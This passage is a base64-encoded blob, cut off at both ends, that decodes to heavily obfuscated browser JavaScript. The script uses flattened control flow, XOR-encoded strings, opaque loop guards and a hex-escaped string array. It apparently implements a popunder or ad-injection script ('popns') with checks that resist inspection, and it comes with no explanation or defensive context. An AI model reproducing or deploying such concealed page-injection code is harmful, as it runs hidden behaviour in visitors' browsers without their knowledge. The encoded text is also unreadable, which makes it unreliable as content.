2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4N